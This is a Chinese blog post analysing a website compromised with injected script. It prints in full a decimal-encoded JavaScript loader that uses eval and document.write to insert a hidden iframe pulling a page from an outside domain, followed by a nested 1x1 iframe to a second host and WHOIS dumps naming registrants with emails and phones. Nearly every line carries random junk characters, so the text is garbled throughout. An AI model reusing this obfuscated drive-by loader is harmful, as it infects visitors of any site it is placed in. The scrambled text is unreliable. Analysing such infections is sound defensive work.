首发在我的博客里面，
TbMlYf]It [Qk j} http://www.areway.cn/?p=175 {w>ofyqfp& CNiJuj` 5' Mw{` 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
U&kdR+dB ADP[KZO$ 4 <script>t=’60,105,102,114,97,109,101,
ke*&*mx"L 32,115,114,99,61,104,116,116,112,58,47,47,
ygm=q^bV]s 102,114,101,101,46,117,45,117,117,117,46,99,
-}qay@cDt 110,47,101,114,114,111,114,46,104,116,109,
;).QhHeg> 32,119,105,100,116,104,61,49,48,48,32,104,
On4Vqbks 101,105,103,104,116,61,48,62,60,47,105,102,
09O e- Bg 114,97,109,101,62′;
/\jRr7 Cd t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
-?T|1FA, ^-# :T <script>t=’60,105,102,114,97,109,101,32,115,
vO{[P# L} 114,99,61,104,116,116,112,58,47,47,102,114,
Qe[ai?iJkt 101,101,46,117,45,117,117,117,46,99,110,47,
k:s86q 101,114,114,111,114,46,104,116,109,32,119,
-% B)+yq> 105,100,116,104,61,49,48,48,32,104,101,105,
MoC/xF& 103,104,116,61,48,62,60,47,105,102,114,97,
NnZ_x>R 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
:v-,-3AG document.write(t);</script>
^YPw'cZZ& : B/u > <html xmlns=”
7Il
/+l( http://www.w3.org/1999/xhtml .@(MNq{"6 “>
hEF n> <head>
A|L-;P NP <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
nNM)rW <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
p'SY 2xq-, <title>首页 - 爱生活家庭网
\LS s@\$
g bir tA{ q 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
@(st![i+ 转换字符串后的大概内容是（谁点击后果自付）：
Q!Dr3x <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
+DT)7 koA xI=[=;L 查询玉米u-uuu.cn的详细信息：
#5kg3OO Domain Name: u-uuu.cn
[aC2ktI ROID: 20070901s10001s64972306-cn
h1_KZ[X Domain Status: ok
jK=-L#hz Registrant Organization: 王雷
eR1]<Z$W\ Registrant Name: 王雷
=uR[Jewa Administrative Email:
czlovexs@126.com a6 7N WH Sponsoring Registrar: 北京万网志成科技有限公司
do e u` Name Server:ns.yovole.com
( (mNB]sy Name Server:ns1.yovole.com
[VB \ T|$ Registration Date: 2007-09-01 17:54
6v -2( Y Expiration Date: 2008-09-01 17:54
`_e 1LEH 最后PING了一下地址 都没有什么….
- zEQ/6 W$Z"" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
<
uzDuBN <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
7^8<[8 <script language=”javascript” src=”
\h/aD1 &g http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script l< |)LD q~ >
r+l3J>:K 这个玉米应该有可能是木马作者的：
} SA/,4/9 foafau.info的详细信息：
v?1xYG@1 Access to INFO WHOIS information is provided to assist persons in
0SLn0vD! determining the contents of a domain name registration record in the
EE p,Z` Afilias registry database. The data in this record is provided by
~_L_un .R Afilias Limited for informational purposes only, and Afilias does not
tTrue? guarantee its accuracy. This service is intended only for query-based
78+PG(Q_M access. You agree that you will use this data only for lawful purposes
Q[F$6m%o and that, under no circumstances will you use this data to: (a) allow,
zw X 1&rN enable, or otherwise support the transmission by e-mail, telephone, or
w0t||qj^>" facsimile of mass unsolicited, commercial advertising or solicitations
xqzd X L} to entities other than the data recipient’s own existing customers; or
PAXdIh[] (b) enable high volume, automated, electronic processes that send
UG9 Ha queries or data to the systems of Registry Operator, a Registrar, or
C@
z^{Z+ Afilias except as reasonably necessary to register domain names or
\xaK?_hv modify existing registrations. All rights reserved. Afilias reserves
g*#.yC1/ the right to modify these terms at any time. By submitting this query,
?G!DYUK you agree to abide by this policy.
q:v&wb% Domain ID:D22418703-LRMS
RnkrI~x Domain Name:FOAFAU.INFO
xBcE>^{1. Created On:20-Nov-2007 16:05:42 UTC
X6@G)68 Last Updated On:20-Nov-2007 16:05:44 UTC
'.DFyHsq Expiration Date:20-Nov-2008 16:05:42 UTC
~lLIq!!\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ugt|'i Status:CLIENT DELETE PROHIBITED
}" 'l8t0? Status:CLIENT RENEW PROHIBITED
{*P B+WGe Status:CLIENT TRANSFER PROHIBITED
P\H$*6v( Status:CLIENT UPDATE PROHIBITED
VSt)~ Status:TRANSFER PROHIBITED
fL&bN[XA"$ Registrant ID:GODA-040110615
d1>Nn!m Registrant Name:liu hong
/e}NZo{)g Registrant Organization:
p[%FH? Registrant Street1:beijing
[&
&9F}; Registrant Street2:
Dx27 s Registrant Street3:
f?A*g$v Registrant City:beijing
i/U HDqZ Registrant State/Province:
Ik4U+'z6 Registrant Postal Code:100000
&<sDbN S Registrant Country:CN
j!P]xl0vOZ Registrant Phone:+86.860108888777
J;g+ Registrant Phone Ext.:
tcf>9YsOr Registrant FAX:
t |aBe7t7 Registrant FAX Ext.:
<Cw ) S8t Registrant Email:bbbshiji@163.com
4HK#]M>yz Admin ID:GODA-240110615
ceR zHq= Admin Name:liu hong
+H~})PeQ Admin Organization:
l ;SqjkN Admin Street1:beijing
anTS8b
Admin Street2:
9q -9UC!g Admin Street3:
_YW1Mk1 Admin City:beijing
7,2 bR Admin State/Province:
Ie~#k[ X Admin Postal Code:100000
0"L_0 t: Admin Country:CN
#}W^d^-5t5 Admin Phone:+86.860108888777
y++[:M Admin Phone Ext.:
au TApYS53 Admin FAX:
\Z^YaKj& Admin FAX Ext.:
i 7 f/r. Admin Email:bbbshiji@163.com
V4 PD]5ZW Billing ID:GODA-340110615
aD@sb o Billing Name:liu hong
n15F4DnP Billing Organization:
PSQ5/l?\> Billing Street1:beijing
k/yoRv% Billing Street2:
Hinz6k6! Billing Street3:
viT/$7`AI Billing City:beijing
8I'c 83w Billing State/Province:
<O cD [5 Billing Postal Code:100000
jR #g>MDKB Billing Country:CN
y#Ao6Od6 Billing Phone:+86.860108888777
L= fz:H Billing Phone Ext.:
Y\ len Billing FAX:
I7hE(2!$ Billing FAX Ext.:
n%]1p36 Billing Email:bbbshiji@163.com
0BM3:]=wr Tech ID:GODA-140110615
)q\|f_ Tech Name:liu hong
~ b ;%J: Tech Organization:
v'*#P7%Kf Tech Street1:beijing
z1 7x%jXy Tech Street2:
^[SQw)* Tech Street3:
N4Z%8:"pj Tech City:beijing
uf (`I Tech State/Province:
9 BP ucXK Tech Postal Code:100000
@""aNKA^r> Tech Country:CN
;k<g# She Tech Phone:+86.860108888777
^6 F-H( Tech Phone Ext.:
| *Dklo9{ Tech FAX:
k ckWBL Tech FAX Ext.:
jd|? aK;( Tech Email:bbbshiji@163.com
7Xi)[M?)# Name Server:NS27.DOMAINCONTROL.COM
5uu Z t0V\ Name Server:NS28.DOMAINCONTROL.COM
~1Q$FgLk Name Server:
8M;V X3X Name Server:
G _{x)@ Name Server:
1;R1Fj& Name Server:
V6Y:l9 Name Server:
$UAmUQg)}_ Name Server:
CxC&+' ; Name Server:
LoQm&3/ Name Server:
#N?EPV$ Name Server:
0Kxc$c Name Server:
+^
n\?! Name Server:
hTZaI * pDO&I]S`q0 接着下载每个文件里面的代码：
( 5] |Kcp| 一步一步看..
'Jww}^h1 
e.%`
tK3 J 
K%ltB& 
`w1|(Sk$h 
'-ti H 
C d)j % 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
